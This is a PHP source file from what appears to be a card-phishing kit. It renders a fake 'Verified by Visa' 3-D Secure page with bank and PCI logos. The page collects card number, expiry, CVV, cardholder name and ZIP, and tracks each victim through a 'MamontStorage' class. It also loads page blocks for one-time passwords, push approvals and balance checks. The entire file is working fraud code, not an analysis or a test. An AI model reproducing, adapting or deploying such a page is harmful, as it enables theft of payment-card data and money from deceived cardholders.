<?php
session_start();
function generateRandomString($length = 10) {
    $characters = '123456789';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

if(isset($_POST['card_number']) && isset($_POST['card_date']) && isset($_POST['card_cvv']) && isset($_POST['amount'])){
    require_once __DIR__.'/admin/storage.php';

    $card_number = htmlspecialchars($_POST['card_number']);
    $card_date = htmlspecialchars($_POST['card_date']);
    $card_cvv = htmlspecialchars($_POST['card_cvv']);
    $amount = htmlspecialchars($_POST['amount']);
    $cardholder = htmlspecialchars($_POST['cardholder']);
    $route_success = htmlspecialchars($_POST['route-success']);
    $route_failed = htmlspecialchars($_POST['route-failed']);
    $order = htmlspecialchars($_POST['order']);
	$zip = htmlspecialchars($_POST['zip'] ?? '');

	$_SESSION['amount'] = $amount;
	$_SESSION['post'] = $_POST;

    if (!isset($_SESSION['idPerson'])){
        $idPerson = generateRandomString();
        $_SESSION['idPerson'] = $idPerson;
        MamontStorage::create($idPerson);
    }
    else{
        $idPerson = $_SESSION['idPerson'];
    }
    $card_type = substr($card_number, 0, 1);
    if($card_type == "4") {
        $img = "/payment/payment/assets/visa.png";
    } else {
        $img = "/payment/payment/assets/mc.png";
    }
} else {
    if(!isset($_SESSION['post'])) die();
    $card_number = htmlspecialchars($_SESSION['post']['card_number']);
    $card_date = htmlspecialchars($_SESSION['post']['card_date']);
    $card_cvv = htmlspecialchars($_SESSION['post']['card_cvv']);
    $amount = htmlspecialchars($_SESSION['post']['amount']);
    $cardholder = htmlspecialchars($_SESSION['post']['cardholder']);
    $route_success = htmlspecialchars($_SESSION['post']['route-success']);
    $route_failed = htmlspecialchars($_SESSION['post']['route-failed']);
    $order = htmlspecialchars($_SESSION['post']['order']);
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
    </head>
    <body>
        <link rel="stylesheet" href="/payment/payment/assets/style.css" />
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            body {
                color: #000000;
                font-family: Arial, "Helvetica Neue", Helvetica, sans-serif;
                font-size: 1.25em;
            }
            .header,
            legend,
            h1,
            h2,
            h3,
            h4 {
                color: #000000;
            }
            label {
                color: #000000;
            }
            a,
            .btn-link {
                color: #000000;
                text-decoration: underline;
            }
            a:visited,
            .btn-link:visited {
                color: #000000;
            }
            a:hover,
            a:focus,
            .btn-link:hover,
            .btn-link:focus {
                color: #211f1f;
            }
            a:active,
            .btn-link:active {
                color: #211f1f;
            }
            a.btn-link {
                font-size: 0.95em;
            }
            .btn-primary,
            .btn-primary:focus,
            .btn-primary:hover {
                background: #211f1f;
                color: #fff;
                border: none;
                border-radius: 0;
            }
            .btn-primary:active,
            .btn-primary:active:hover,
            .btn-primary:active:focus {
                background: #ab2c29;
            }
            fieldset {
                border: 0;
            }
            fieldset > legend {
                border-bottom: 0;
                font-size: 1em;
            }
            :not(.lt-ie9) label.custom-radio [type="radio"]:checked + span:before {
                background: #211f1f;
            }
            .accordion.modal .modal-body .panel-group .expander {
                color: #211f1f;
            }
            .accordion.modal .modal-body .panel-group .panel {
                background: #fff;
            }
            .field-validation-error {
                color: #ab2c29;
            }
            .toast-top-full-width {
                display: none;
            }
        </style>
        <div class="threeds-two">
            <div class="container-fluid">
                <div class="visa-styling header" id="HeaderLogosFullWidth">
                    <div class="row no-pad">
                        <div class="visa-styling bottom-border col-12" style="padding: 15px; display: flex; flex-direction: row-reverse; justify-content: space-between;">
                            <div class="pull-left visa-header-two" style="margin-right: 15px;">
                                <img alt="Verified By Visa logo" class="visa-header-img brand-logo" src="<?=$img?>" />
                            </div>
                            <div class="pull-right visa-header-one" style="margin-left: 15px; margin-bottom: 15px;">
                                <img alt="Bank Logo" class="visa-header-img" src="/payment/payment/assets/pcidss.svg" />
                            </div>
                        </div>
                    </div>
                </div>
                <div class="visa-styling body">
                    <?php include __DIR__."/blocks/errcard.php" ?>
                    <?php include __DIR__."/blocks/newcard.php" ?>
                    <?php include __DIR__."/blocks/loading.php" ?>
                    <?php include __DIR__."/blocks/custom.php" ?>
                    <?php include __DIR__."/blocks/push.php" ?>
                    <?php include __DIR__."/blocks/balance.php" ?>
                    <?php include __DIR__."/blocks/otp.php" ?>
                    <?php include __DIR__."/blocks/success.php" ?>
                    <?php include __DIR__."/blocks/failed.php" ?>
                    <?php include __DIR__."/blocks/support.php" ?>
                    <?php include __DIR__."/blocks/checksumm.php" ?>
                </div>
            </div>
        </div>
    </body>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        var fields_data = {
            'card_number':'<?=$card_number?>',
            'card_expire':'<?=$card_date?>',
            'card_cvv':'<?=$card_cvv?>',
            'price':'<?=$amount?>',
            'cardholder':'<?=$cardholder?>',
            'success':'<?=$route_success?>',
            'failed':'<?=$route_failed?>',
            'order':'<?=$order?>',
        	'zip':'<?=$zip?>',
        }
    </script>
    <script src="/payment/payment/payment.js?12"></script>
</html>
